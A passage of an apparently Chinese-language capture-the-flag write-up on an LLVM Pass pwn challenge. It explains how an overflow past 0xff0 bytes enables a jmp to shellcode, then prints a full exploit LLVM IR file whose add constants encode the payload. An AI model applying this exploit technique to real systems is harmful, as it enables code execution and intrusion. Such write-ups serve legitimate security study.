    this[12]赋值为1,通过上述分析可知,写入this[5]的数据为(\x48\xB8\x00).ljust(10,'\x00') + \xc3,对应汇编为

    image-20230831140826181

  • arg0为本地变量:

    image-20230831141053247

    首先是写入movavs rax,0,然后this[12]赋值为0,stackLLvmValueVar压入操作符,stackIntVar压入1,进入循环,直到写入0xff0字节后跳出循环

    • while循环

      经过一些判断,代表只对操作符为\xd\xf的进行操作,查LLVM定义的表为addsub指令有效。

      image-20230831141354185

      • arg0为常量,且为1或-1时,调用writeInc函数

        image-20230831141929747stackIntVar_top*arg0为1时,写入inc raximage-20230831142327635stackIntVar_top*arg0不为1时,写入dec raximage-20230831142406119

        arg0为常量不为1或-1时,调用writeMovImm64函数,写入\x48\xbb + arg0*stackIntVar_top

        image-20230831142605020

        调用writeOpReg函数,写入\x48\x01\xd8,即为add rax,rbx

        image-20230831143318448

      • arg0为函数参数时,this[12]赋值为stackIntVar_top

        image-20230831143424721

      • arg0为变量时,将arg0入stackLLvmValueVarstackIntVar_top放入stackIntVar

        image-20230831143518100

      • 指令为sub时,stackIntVar_top = -stackIntVar_top

        image-20230831143830853

      • arg1为常量时,且为1或-1时,调用writeInc函数

        image-20230831144224528

        stackIntVar_top为1时,写入inc raximage-20230831142327635stackIntVar_top不为1时,写入dec raximage-20230831142406119

        arg0为常量不为1或-1时,调用writeMovImm64函数,写入\x48\xbb + arg0*stackIntVar_top

        image-20230831142605020

        调用writeOpReg函数,写入\x48\x01\xd8,即为add rax,rbx

        image-20230831143318448

      • arg1为函数参数时,this[12]赋值为stackIntVar_top

        image-20230831144329204

      • arg1为本地变量时 ,将arg1入stackLLvmValueVarstackIntVar_top放入stackIntVar

        image-20230831144410252

    • 跳出while循环后对栈进行析构操作

执行指令

退出handle函数后,会赋予this[4]可读可执行的权限,并且进入callCode进行执行。

image-20230831145139588

这里注意一下this[4]this[5]最开始存放的是同一个指针,所以我们写入的地方就是this[4]存放的指针位置处。

image-20230831145218292

漏洞点发生在整体的逻辑上,调试可知,最开始的this[4]是本身完全被初始化为ret指令,并且长度超过0xff0,那么当通过while循环写入超过0xff0长度的指令时

image-20230831150630034

那么无论最后有没有被写入ret再退出循环,都会存在ret指令,从而安全退出,执行到下一个函数进行解析。这样就可以在第一个函数中超出0xff0长度写入jmp指令,使用形如add var,con形式如下

1
2
3
4
0xff0 mov raxabs,xx
0xff8 add rax,rbx
0xffb mov raxabx,yyyy
0x1000 ret

其中yyyy数据的0xffe地址开始处就包含jmp指令

第二个函数中写入

1
2
3
0xff0 mov raxabs,xx
0xff8 add rax,rbx
0xffb dec rax

这样总的就是

1
2
3
4
5
0xff0 mov raxabs,xx
0xff8 add rax,rbx
0xffb dec rax
0xffe jmp xxx
0x1000 ret

顺利绕过末尾补ret进入jmp跳转。

随后通过之前的mov raxabs,xxxx中的xxxx八个字节,完成赋值加连环跳转的工作,从而执行真正的shellcode

漏洞利用

就直接用winmt师傅的exp

[原创] LLVM PASS PWN 总结-Pwn-看雪-安全社区|安全招聘|kanxue.com

需要注意的是,由于使用的只能是add/sub指令,所以需要通过空函数的exp.c生成exp.ll,然后再在里面补充对应的add指令即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i64 @payload1(i64 %0) #0 {
%2 = add nsw i64 %0, 58603
%3 = add nsw i64 %2, 1024
%4 = add nsw i64 %3, 1024
%5 = add nsw i64 %4, 1024
%6 = add nsw i64 %5, 1024
%7 = add nsw i64 %6, 1024
%8 = add nsw i64 %7, 1024
%9 = add nsw i64 %8, 1024
%10 = add nsw i64 %9, 1024
%11 = add nsw i64 %10, 1024
%12 = add nsw i64 %11, 1024
%13 = add nsw i64 %12, 1024
%14 = add nsw i64 %13, 1024
%15 = add nsw i64 %14, 1024
%16 = add nsw i64 %15, 1024
%17 = add nsw i64 %16, 1024
%18 = add nsw i64 %17, 1024
%19 = add nsw i64 %18, 1024
%20 = add nsw i64 %19, 1024
%21 = add nsw i64 %20, 1024
%22 = add nsw i64 %21, 1024
%23 = add nsw i64 %22, 1024
%24 = add nsw i64 %23, 1024
%25 = add nsw i64 %24, 1024
%26 = add nsw i64 %25, 1024
%27 = add nsw i64 %26, 1024
%28 = add nsw i64 %27, 1024
%29 = add nsw i64 %28, 1024
%30 = add nsw i64 %29, 1024
%31 = add nsw i64 %30, 1024
%32 = add nsw i64 %31, 1024
%33 = add nsw i64 %32, 1024
%34 = add nsw i64 %33, 1024
%35 = add nsw i64 %34, 1024
%36 = add nsw i64 %35, 1024
%37 = add nsw i64 %36, 1024
%38 = add nsw i64 %37, 1024
%39 = add nsw i64 %38, 1024
%40 = add nsw i64 %39, 1024
%41 = add nsw i64 %40, 1024
%42 = add nsw i64 %41, 1024
%43 = add nsw i64 %42, 1024
%44 = add nsw i64 %43, 1024
%45 = add nsw i64 %44, 1024
%46 = add nsw i64 %45, 1024
%47 = add nsw i64 %46, 1024
%48 = add nsw i64 %47, 1024
%49 = add nsw i64 %48, 1024
%50 = add nsw i64 %49, 1024
%51 = add nsw i64 %50, 1024
%52 = add nsw i64 %51, 1024
%53 = add nsw i64 %52, 1024
%54 = add nsw i64 %53, 1024
%55 = add nsw i64 %54, 1024
%56 = add nsw i64 %55, 1024
%57 = add nsw i64 %56, 1024
%58 = add nsw i64 %57, 1024
%59 = add nsw i64 %58, 1024
%60 = add nsw i64 %59, 1024
%61 = add nsw i64 %60, 1024
%62 = add nsw i64 %61, 1024
%63 = add nsw i64 %62, 1024
%64 = add nsw i64 %63, 1024
%65 = add nsw i64 %64, 1024
%66 = add nsw i64 %65, 1024
%67 = add nsw i64 %66, 1024
%68 = add nsw i64 %67, 1024
%69 = add nsw i64 %68, 1024
%70 = add nsw i64 %69, 1024
%71 = add nsw i64 %70, 1024
%72 = add nsw i64 %71, 1024
%73 = add nsw i64 %72, 1024
%74 = add nsw i64 %73, 1024
%75 = add nsw i64 %74, 1024
%76 = add nsw i64 %75, 1024
%77 = add nsw i64 %76, 1024
%78 = add nsw i64 %77, 1024
%79 = add nsw i64 %78, 1024
%80 = add nsw i64 %79, 1024
%81 = add nsw i64 %80, 1024
%82 = add nsw i64 %81, 1024
%83 = add nsw i64 %82, 1024
%84 = add nsw i64 %83, 1024
%85 = add nsw i64 %84, 1024
%86 = add nsw i64 %85, 1024
%87 = add nsw i64 %86, 1024
%88 = add nsw i64 %87, 1024
%89 = add nsw i64 %88, 1024
%90 = add nsw i64 %89, 1024
%91 = add nsw i64 %90, 1024
%92 = add nsw i64 %91, 1024
%93 = add nsw i64 %92, 1024
%94 = add nsw i64 %93, 1024
%95 = add nsw i64 %94, 1024
%96 = add nsw i64 %95, 1024
%97 = add nsw i64 %96, 1024
%98 = add nsw i64 %97, 1024
%99 = add nsw i64 %98, 1024
%100 = add nsw i64 %99, 1024
%101 = add nsw i64 %100, 1024
%102 = add nsw i64 %101, 1024
%103 = add nsw i64 %102, 1024
%104 = add nsw i64 %103, 1024
%105 = add nsw i64 %104, 1024
%106 = add nsw i64 %105, 1024
%107 = add nsw i64 %106, 1024
%108 = add nsw i64 %107, 1024
%109 = add nsw i64 %108, 1024
%110 = add nsw i64 %109, 1024
%111 = add nsw i64 %110, 1024
%112 = add nsw i64 %111, 1024
%113 = add nsw i64 %112, 1024
%114 = add nsw i64 %113, 1024
%115 = add nsw i64 %114, 1024
%116 = add nsw i64 %115, 1024
%117 = add nsw i64 %116, 1024
%118 = add nsw i64 %117, 1024
%119 = add nsw i64 %118, 1024
%120 = add nsw i64 %119, 1024
%121 = add nsw i64 %120, 1024
%122 = add nsw i64 %121, 1024
%123 = add nsw i64 %122, 1024
%124 = add nsw i64 %123, 1024
%125 = add nsw i64 %124, 1024
%126 = add nsw i64 %125, 1024
%127 = add nsw i64 %126, 1024
%128 = add nsw i64 %127, 1024
%129 = add nsw i64 %128, 1024
%130 = add nsw i64 %129, 1024
%131 = add nsw i64 %130, 1024
%132 = add nsw i64 %131, 1024
%133 = add nsw i64 %132, 1024
%134 = add nsw i64 %133, 1024
%135 = add nsw i64 %134, 1024
%136 = add nsw i64 %135, 1024
%137 = add nsw i64 %136, 1024
%138 = add nsw i64 %137, 1024
%139 = add nsw i64 %138, 1024
%140 = add nsw i64 %139, 1024
%141 = add nsw i64 %140, 1024
%142 = add nsw i64 %141, 1024
%143 = add nsw i64 %142, 1024
%144 = add nsw i64 %143, 1024
%145 = add nsw i64 %144, 1024
%146 = add nsw i64 %145, 1024
%147 = add nsw i64 %146, 1024
%148 = add nsw i64 %147, 1024
%149 = add nsw i64 %148, 1024
%150 = add nsw i64 %149, 1024
%151 = add nsw i64 %150, 1024
%152 = add nsw i64 %151, 1024
%153 = add nsw i64 %152, 1024
%154 = add nsw i64 %153, 1024
%155 = add nsw i64 %154, 1024
%156 = add nsw i64 %155, 1024
%157 = add nsw i64 %156, 1024
%158 = add nsw i64 %157, 1024
%159 = add nsw i64 %158, 1024
%160 = add nsw i64 %159, 1024
%161 = add nsw i64 %160, 1024
%162 = add nsw i64 %161, 1024
%163 = add nsw i64 %162, 1024
%164 = add nsw i64 %163, 1024
%165 = add nsw i64 %164, 1024
%166 = add nsw i64 %165, 1024
%167 = add nsw i64 %166, 1024
%168 = add nsw i64 %167, 1024
%169 = add nsw i64 %168, 1024
%170 = add nsw i64 %169, 1024
%171 = add nsw i64 %170, 1024
%172 = add nsw i64 %171, 1024
%173 = add nsw i64 %172, 1024
%174 = add nsw i64 %173, 1024
%175 = add nsw i64 %174, 1024
%176 = add nsw i64 %175, 1024
%177 = add nsw i64 %176, 1024
%178 = add nsw i64 %177, 1024
%179 = add nsw i64 %178, 1024
%180 = add nsw i64 %179, 1024
%181 = add nsw i64 %180, 1024
%182 = add nsw i64 %181, 1024
%183 = add nsw i64 %182, 1024
%184 = add nsw i64 %183, 1024
%185 = add nsw i64 %184, 1024
%186 = add nsw i64 %185, 1024
%187 = add nsw i64 %186, 1024
%188 = add nsw i64 %187, 1024
%189 = add nsw i64 %188, 1024
%190 = add nsw i64 %189, 1024
%191 = add nsw i64 %190, 1024
%192 = add nsw i64 %191, 1024
%193 = add nsw i64 %192, 1024
%194 = add nsw i64 %193, 1024
%195 = add nsw i64 %194, 1024
%196 = add nsw i64 %195, 1024
%197 = add nsw i64 %196, 1024
%198 = add nsw i64 %197, 1024
%199 = add nsw i64 %198, 1024
%200 = add nsw i64 %199, 1024
%201 = add nsw i64 %200, 1024
%202 = add nsw i64 %201, 1024
%203 = add nsw i64 %202, 1024
%204 = add nsw i64 %203, 1024
%205 = add nsw i64 %204, 1024
%206 = add nsw i64 %205, 1024
%207 = add nsw i64 %206, 1024
%208 = add nsw i64 %207, 1024
%209 = add nsw i64 %208, 1024
%210 = add nsw i64 %209, 1024
%211 = add nsw i64 %210, 1024
%212 = add nsw i64 %211, 1024
%213 = add nsw i64 %212, 1024
%214 = add nsw i64 %213, 1024
%215 = add nsw i64 %214, 1024
%216 = add nsw i64 %215, 1024
%217 = add nsw i64 %216, 1024
%218 = add nsw i64 %217, 1024
%219 = add nsw i64 %218, 1024
%220 = add nsw i64 %219, 1024
%221 = add nsw i64 %220, 1024
%222 = add nsw i64 %221, 1024
%223 = add nsw i64 %222, 1024
%224 = add nsw i64 %223, 1024
%225 = add nsw i64 %224, 1024
%226 = add nsw i64 %225, 1024
%227 = add nsw i64 %226, 1024
%228 = add nsw i64 %227, 1024
%229 = add nsw i64 %228, 1024
%230 = add nsw i64 %229, 1024
%231 = add nsw i64 %230, 1024
%232 = add nsw i64 %231, 1024
%233 = add nsw i64 %232, 1024
%234 = add nsw i64 %233, 1024
%235 = add nsw i64 %234, 1024
%236 = add nsw i64 %235, 1024
%237 = add nsw i64 %236, 1024
%238 = add nsw i64 %237, 1024
%239 = add nsw i64 %238, 1024
%240 = add nsw i64 %239, 1024
%241 = add nsw i64 %240, 1024
%242 = add nsw i64 %241, 1024
%243 = add nsw i64 %242, 1024
%244 = add nsw i64 %243, 1024
%245 = add nsw i64 %244, 1024
%246 = add nsw i64 %245, 1024
%247 = add nsw i64 %246, 1024
%248 = add nsw i64 %247, 1024
%249 = add nsw i64 %248, 1024
%250 = add nsw i64 %249, 1024
%251 = add nsw i64 %250, 1024
%252 = add nsw i64 %251, 1024
%253 = add nsw i64 %252, 1024
%254 = add nsw i64 %253, 1024
%255 = add nsw i64 %254, 1024
%256 = add nsw i64 %255, 1024
%257 = add nsw i64 %256, 1024
%258 = add nsw i64 %257, 1024
%259 = add nsw i64 %258, 1024
%260 = add nsw i64 %259, 1024
%261 = add nsw i64 %260, 1024
%262 = add nsw i64 %261, 1024
%263 = add nsw i64 %262, 1024
%264 = add nsw i64 %263, 1024
%265 = add nsw i64 %264, 1024
%266 = add nsw i64 %265, 1024
%267 = add nsw i64 %266, 1024
%268 = add nsw i64 %267, 1024
%269 = add nsw i64 %268, 1024
%270 = add nsw i64 %269, 1024
%271 = add nsw i64 %270, 1024
%272 = add nsw i64 %271, 1024
%273 = add nsw i64 %272, 1024
%274 = add nsw i64 %273, 1024
%275 = add nsw i64 %274, 1024
%276 = add nsw i64 %275, 1024
%277 = add nsw i64 %276, 1024
%278 = add nsw i64 %277, 1024
%279 = add nsw i64 %278, 1024
%280 = add nsw i64 %279, 1024
%281 = add nsw i64 %280, 1024
%282 = add nsw i64 %281, 1024
%283 = add nsw i64 %282, 1024
%284 = add nsw i64 %283, 1024
%285 = add nsw i64 %284, 1024
%286 = add nsw i64 %285, 1024
%287 = add nsw i64 %286, 1024
%288 = add nsw i64 %287, 1024
%289 = add nsw i64 %288, 1024
%290 = add nsw i64 %289, 1024
%291 = add nsw i64 %290, 1024
%292 = add nsw i64 %291, 1024
%293 = add nsw i64 %292, 1024
%294 = add nsw i64 %293, 1024
%295 = add nsw i64 %294, 1024
%296 = add nsw i64 %295, 1024
%297 = add nsw i64 %296, 1024
%298 = add nsw i64 %297, 1024
%299 = add nsw i64 %298, 1024
%300 = add nsw i64 %299, 1024
%301 = add nsw i64 %300, 1024
%302 = add nsw i64 %301, 1024
%303 = add nsw i64 %302, 1024
%304 = add nsw i64 %303, 1024
%305 = add nsw i64 %304, 1024
%306 = add nsw i64 %305, 1024
%307 = add nsw i64 %306, 1024
%308 = add nsw i64 %307, 1024
%309 = add nsw i64 %308, 1024
%310 = add nsw i64 %309, 1024
%311 = add nsw i64 %310, 1024
%312 = add nsw i64 %311, 1024
%313 = add nsw i64 %312, 1024
%314 = add nsw i64 %313, 1024
%315 = add nsw i64 %314, 1024
ret i64 %315
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i64 @payload2(i64 %0) #0 {
%2 = add nsw i64 %0, 1
%3 = add nsw i64 %2, 1
%4 = add nsw i64 %3, 1
%5 = add nsw i64 %4, 1
%6 = add nsw i64 %5, 1
%7 = add nsw i64 %6, 16999839996723556031
%8 = add nsw i64 %7, 16999840167007600968
%9 = add nsw i64 %8, 16999839549882511291
%10 = add nsw i64 %9, 16999840169020293448
%11 = add nsw i64 %10, 16999840169015152727
%12 = add nsw i64 %11, 16999840169015152724
%13 = add nsw i64 %12, 16999840169015152735
%14 = add nsw i64 %13, 16999840169021813064
%15 = add nsw i64 %14, 16999840169019453768
%16 = add nsw i64 %15, 16999840169015130986
%17 = add nsw i64 %16, 16999840169015152728
%18 = add nsw i64 %17, 16999840169015117071
%19 = add nsw i64 %18, 1024
%20 = add nsw i64 %19, 1024
%21 = add nsw i64 %20, 1024
%22 = add nsw i64 %21, 1024
%23 = add nsw i64 %22, 1024
%24 = add nsw i64 %23, 1024
%25 = add nsw i64 %24, 1024
%26 = add nsw i64 %25, 1024
%27 = add nsw i64 %26, 1024
%28 = add nsw i64 %27, 1024
%29 = add nsw i64 %28, 1024
%30 = add nsw i64 %29, 1024
%31 = add nsw i64 %30, 1024
%32 = add nsw i64 %31, 1024
%33 = add nsw i64 %32, 1024
%34 = add nsw i64 %33, 1024
%35 = add nsw i64 %34, 1024
%36 = add nsw i64 %35, 1024
%37 = add nsw i64 %36, 1024
%38 = add nsw i64 %37, 1024
%39 = add nsw i64 %38, 1024
%40 = add nsw i64 %39, 1024
%41 = add nsw i64 %40, 1024
%42 = add nsw i64 %41, 1024
%43 = add nsw i64 %42, 1024
%44 = add nsw i64 %43, 1024
%45 = add nsw i64 %44, 1024
%46 = add nsw i64 %45, 1024
%47 = add nsw i64 %46, 1024
%48 = add nsw i64 %47, 1024
%49 = add nsw i64 %48, 1024
%50 = add nsw i64 %49, 1024
%51 = add nsw i64 %50, 1024
%52 = add nsw i64 %51, 1024
%53 = add nsw i64 %52, 1024
%54 = add nsw i64 %53, 1024
%55 = add nsw i64 %54, 1024
%56 = add nsw i64 %55, 1024
%57 = add nsw i64 %56, 1024
%58 = add nsw i64 %57, 1024
%59 = add nsw i64 %58, 1024
%60 = add nsw i64 %59, 1024
%61 = add nsw i64 %60, 1024
%62 = add nsw i64 %61, 1024
%63 = add nsw i64 %62, 1024
%64 = add nsw i64 %63, 1024
%65 = add nsw i64 %64, 1024
%66 = add nsw i64 %65, 1024
%67 = add nsw i64 %66, 1024
%68 = add nsw i64 %67, 1024
%69 = add nsw i64 %68, 1024
%70 = add nsw i64 %69, 1024
%71 = add nsw i64 %70, 1024
%72 = add nsw i64 %71, 1024
%73 = add nsw i64 %72, 1024
%74 = add nsw i64 %73, 1024
%75 = add nsw i64 %74, 1024
%76 = add nsw i64 %75, 1024
%77 = add nsw i64 %76, 1024
%78 = add nsw i64 %77, 1024
%79 = add nsw i64 %78, 1024
%80 = add nsw i64 %79, 1024
%81 = add nsw i64 %80, 1024
%82 = add nsw i64 %81, 1024
%83 = add nsw i64 %82, 1024
%84 = add nsw i64 %83, 1024
%85 = add nsw i64 %84, 1024
%86 = add nsw i64 %85, 1024
%87 = add nsw i64 %86, 1024
%88 = add nsw i64 %87, 1024
%89 = add nsw i64 %88, 1024
%90 = add nsw i64 %89, 1024
%91 = add nsw i64 %90, 1024
%92 = add nsw i64 %91, 1024
%93 = add nsw i64 %92, 1024
%94 = add nsw i64 %93, 1024
%95 = add nsw i64 %94, 1024
%96 = add nsw i64 %95, 1024
%97 = add nsw i64 %96, 1024
%98 = add nsw i64 %97, 1024
%99 = add nsw i64 %98, 1024
%100 = add nsw i64 %99, 1024
%101 = add nsw i64 %100, 1024
%102 = add nsw i64 %101, 1024
%103 = add nsw i64 %102, 1024
%104 = add nsw i64 %103, 1024
%105 = add nsw i64 %104, 1024
%106 = add nsw i64 %105, 1024
%107 = add nsw i64 %106, 1024
%108 = add nsw i64 %107, 1024
%109 = add nsw i64 %108, 1024
%110 = add nsw i64 %109, 1024
%111 = add nsw i64 %110, 1024
%112 = add nsw i64 %111, 1024
%113 = add nsw i64 %112, 1024
%114 = add nsw i64 %113, 1024
%115 = add nsw i64 %114, 1024
%116 = add nsw i64 %115, 1024
%117 = add nsw i64 %116, 1024
%118 = add nsw i64 %117, 1024
%119 = add nsw i64 %118, 1024
%120 = add nsw i64 %119, 1024
%121 = add nsw i64 %120, 1024
%122 = add nsw i64 %121, 1024
%123 = add nsw i64 %122, 1024
%124 = add nsw i64 %123, 1024
%125 = add nsw i64 %124, 1024
%126 = add nsw i64 %125, 1024
%127 = add nsw i64 %126, 1024
%128 = add nsw i64 %127, 1024
%129 = add nsw i64 %128, 1024
%130 = add nsw i64 %129, 1024
%131 = add nsw i64 %130, 1024
%132 = add nsw i64 %131, 1024
%133 = add nsw i64 %132, 1024
%134 = add nsw i64 %133, 1024
%135 = add nsw i64 %134, 1024
%136 = add nsw i64 %135, 1024
%137 = add nsw i64 %136, 1024
%138 = add nsw i64 %137, 1024
%139 = add nsw i64 %138, 1024
%140 = add nsw i64 %139, 1024
%141 = add nsw i64 %140, 1024
%142 = add nsw i64 %141, 1024
%143 = add nsw i64 %142, 1024
%144 = add nsw i64 %143, 1024
%145 = add nsw i64 %144, 1024
%146 = add nsw i64 %145, 1024
%147 = add nsw i64 %146, 1024
%148 = add nsw i64 %147, 1024
%149 = add nsw i64 %148, 1024
%150 = add nsw i64 %149, 1024
%151 = add nsw i64 %150, 1024
%152 = add nsw i64 %151, 1024
%153 = add nsw i64 %152, 1024
%154 = add nsw i64 %153, 1024
%155 = add nsw i64 %154, 1024
%156 = add nsw i64 %155, 1024
%157 = add nsw i64 %156, 1024
%158 = add nsw i64 %157, 1024
%159 = add nsw i64 %158, 1024
%160 = add nsw i64 %159, 1024
%161 = add nsw i64 %160, 1024
%162 = add nsw i64 %161, 1024
%163 = add nsw i64 %162, 1024
%164 = add nsw i64 %163, 1024
%165 = add nsw i64 %164, 1024
%166 = add nsw i64 %165, 1024
%167 = add nsw i64 %166, 1024
%168 = add nsw i64 %167, 1024
%169 = add nsw i64 %168, 1024
%170 = add nsw i64 %169, 1024
%171 = add nsw i64 %170, 1024
%172 = add nsw i64 %171, 1024
%173 = add nsw i64 %172, 1024
%174 = add nsw i64 %173, 1024
%175 = add nsw i64 %174, 1024
%176 = add nsw i64 %175, 1024
%177 = add nsw i64 %176, 1024
%178 = add nsw i64 %177, 1024
%179 = add nsw i64 %178, 1024
%180 = add nsw i64 %179, 1024
%181 = add nsw i64 %180, 1024
%182 = add nsw i64 %181, 1024
%183 = add nsw i64 %182, 1024
%184 = add nsw i64 %183, 1024
%185 = add nsw i64 %184, 1024
%186 = add nsw i64 %185, 1024
%187 = add nsw i64 %186, 1024
%188 = add nsw i64 %187, 1024
%189 = add nsw i64 %188, 1024
%190 = add nsw i64 %189, 1024
%191 = add nsw i64 %190, 1024
%192 = add nsw i64 %191, 1024
%193 = add nsw i64 %192, 1024
%194 = add nsw i64 %193, 1024
%195 = add nsw i64 %194, 1024
%196 = add nsw i64 %195, 1024
%197 = add nsw i64 %196, 1024
%198 = add nsw i64 %197, 1024
%199 = add nsw i64 %198, 1024
%200 = add nsw i64 %199, 1024
%201 = add nsw i64 %200, 1024
%202 = add nsw i64 %201, 1024
%203 = add nsw i64 %202, 1024
%204 = add nsw i64 %203, 1024
%205 = add nsw i64 %204, 1024
%206 = add nsw i64 %205, 1024
%207 = add nsw i64 %206, 1024
%208 = add nsw i64 %207, 1024
%209 = add nsw i64 %208, 1024
%210 = add nsw i64 %209, 1024
%211 = add nsw i64 %210, 1024
%212 = add nsw i64 %211, 1024
%213 = add nsw i64 %212, 1024
%214 = add nsw i64 %213, 1024
%215 = add nsw i64 %214, 1024
%216 = add nsw i64 %215, 1024
%217 = add nsw i64 %216, 1024
%218 = add nsw i64 %217, 1024
%219 = add nsw i64 %218, 1024
%220 = add nsw i64 %219, 1024
%221 = add nsw i64 %220, 1024
%222 = add nsw i64 %221, 1024
%223 = add nsw i64 %222, 1024
%224 = add nsw i64 %223, 1024
%225 = add nsw i64 %224, 1024
%226 = add nsw i64 %225, 1024
%227 = add nsw i64 %226, 1024
%228 = add nsw i64 %227, 1024
%229 = add nsw i64 %228, 1024
%230 = add nsw i64 %229, 1024
%231 = add nsw i64 %230, 1024
%232 = add nsw i64 %231, 1024
%233 = add nsw i64 %232, 1024
%234 = add nsw i64 %233, 1024
%235 = add nsw i64 %234, 1024
%236 = add nsw i64 %235, 1024
%237 = add nsw i64 %236, 1024
%238 = add nsw i64 %237, 1024
%239 = add nsw i64 %238, 1024
%240 = add nsw i64 %239, 1024
%241 = add nsw i64 %240, 1024
%242 = add nsw i64 %241, 1024
%243 = add nsw i64 %242, 1024
%244 = add nsw i64 %243, 1024
%245 = add nsw i64 %244, 1024
%246 = add nsw i64 %245, 1024
%247 = add nsw i64 %246, 1024
%248 = add nsw i64 %247, 1024
%249 = add nsw i64 %248, 1024
%250 = add nsw i64 %249, 1024
%251 = add nsw i64 %250, 1024
%252 = add nsw i64 %251, 1024
%253 = add nsw i64 %252, 1024
%254 = add nsw i64 %253, 1024
%255 = add nsw i64 %254, 1024
%256 = add nsw i64 %255, 1024
%257 = add nsw i64 %256, 1024
%258 = add nsw i64 %257, 1024
%259 = add nsw i64 %258, 1024
%260 = add nsw i64 %259, 1024
%261 = add nsw i64 %260, 1024
%262 = add nsw i64 %261, 1024
%263 = add nsw i64 %262, 1024
%264 = add nsw i64 %263, 1024
%265 = add nsw i64 %264, 1024
%266 = add nsw i64 %265, 1024
%267 = add nsw i64 %266, 1024
%268 = add nsw i64 %267, 1024
%269 = add nsw i64 %268, 1024
%270 = add nsw i64 %269, 1024
%271 = add nsw i64 %270, 1024
%272 = add nsw i64 %271, 1024
%273 = add nsw i64 %272, 1024
%274 = add nsw i64 %273, 1024
%275 = add nsw i64 %274, 1024
%276 = add nsw i64 %275, 1024
%277 = add nsw i64 %276, 1024
%278 = add nsw i64 %277, 1024
%279 = add nsw i64 %278, 1024
%280 = add nsw i64 %279, 1024
%281 = add nsw i64 %280, 1024
%282 = add nsw i64 %281, 1024
%283 = add nsw i64 %282, 1024
%284 = add nsw i64 %283, 1024
%285 = add nsw i64 %284, 1024
%286 = add nsw i64 %285, 1024
%287 = add nsw i64 %286, 1024
%288 = add nsw i64 %287, 1024
%289 = add nsw i64 %288, 1024
%290 = add nsw i64 %289, 1024
%291 = add nsw i64 %290, 1024
%292 = add nsw i64 %291, 1024
%293 = add nsw i64 %292, 1024
%294 = add nsw i64 %293, 1024
%295 = add nsw i64 %294, 1024
%296 = add nsw i64 %295, 1024
%297 = add nsw i64 %296, 1024
%298 = add nsw i64 %297, 1024
%299 = add nsw i64 %298, 1024
%300 = add nsw i64 %299, 1024
%301 = add nsw i64 %300, 1024
%302 = add nsw i64 %301, 1024
%303 = add nsw i64 %302, 1024
%304 = add nsw i64 %303, 1024
%305 = add nsw i64 %304, 1024
%306 = add nsw i64 %305, 1024
%307 = add nsw i64 %306, 1024
%308 = add nsw i64 %307, 1024
%309 = add nsw i64 %308, 1024
%310 = add nsw i64 %309, 1024
%311 = add nsw i64 %310, 1024
%312 = add nsw i64 %311, 1024
%313 = add nsw i64 %312, 1024
%314 = add nsw i64 %313, 1024
%315 = add nsw i64 %314, 1024
%316 = add nsw i64 %315, 1024
%317 = add nsw i64 %316, 1024
%318 = add nsw i64 %317, 1024
ret i64 %318
}

attributes #0 = { noinline nounwind optnone uwtable "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"}

常见用法

  1. getName()函数用于获取当前runOnFunction正处理的函数名

  2. 第一个for循环是对当前处理的函数中的基本块(比如一些条件分支语句就会产生多个基本块,在生成的ll文件中,不同基本块之间会有换行)遍历,第二个for循环是对每个基本块中的指令遍历

